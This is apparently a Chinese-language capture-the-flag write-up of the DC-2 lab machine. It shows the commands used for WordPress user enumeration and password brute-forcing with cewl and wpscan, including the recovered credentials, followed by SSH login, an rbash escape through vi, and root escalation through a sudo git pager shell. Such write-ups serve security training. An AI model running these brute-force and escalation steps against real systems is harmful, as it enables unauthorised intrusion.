DC-2

DC-2

Posted by Kyon-H on July 8, 2025

主机发现

Pasted%20image%2020250708092821.png300

发现192.168.163.131,端口扫描 Pasted%20image%2020250708092929.png300

访问80端口,被重定向到 http://DC-2 ,修改hosts即可访问

目录扫描,发现wp-admin后台登陆路径

访问站点,获取到flag1,按提示使用cewl Pasted%20image%2020250708093111.png300

1
2
3
4
5
6
7
cewl http://dc-2/wp-login.php -w pass.txt
wpscan --url http://dc-2/ -e u
# admin jerry tom
echo -e "admin\njerry\ntom" > user.txt
wpscan --url http://DC-2 -e -U user.txt -P pass.txt
# Username: jerry, Password: adipiscing
# Username: tom, Password: parturient

Pasted%20image%2020250708100011.png300

Pasted%20image%2020250708095958.png300

1
2
3
ssh tom@DC-2 -p 7744
compgen -c
vi flag3.txt

获取flag3

Pasted%20image%2020250708100605.png300

rbash提权

1
2
3
vi flag3.php
:set shell=/bin/sh
:shell

进入sh

1
2
3
export PATH=$PATH:/bin
su jerry
# 输入密码

获取flag4

image.png300

1
2
3
4
sudo -l
# 显示:(root) NOPASSWD: /usr/bin/git
sudo git help config
!/bin/bash

提权到root用户,获取flag5

image.png300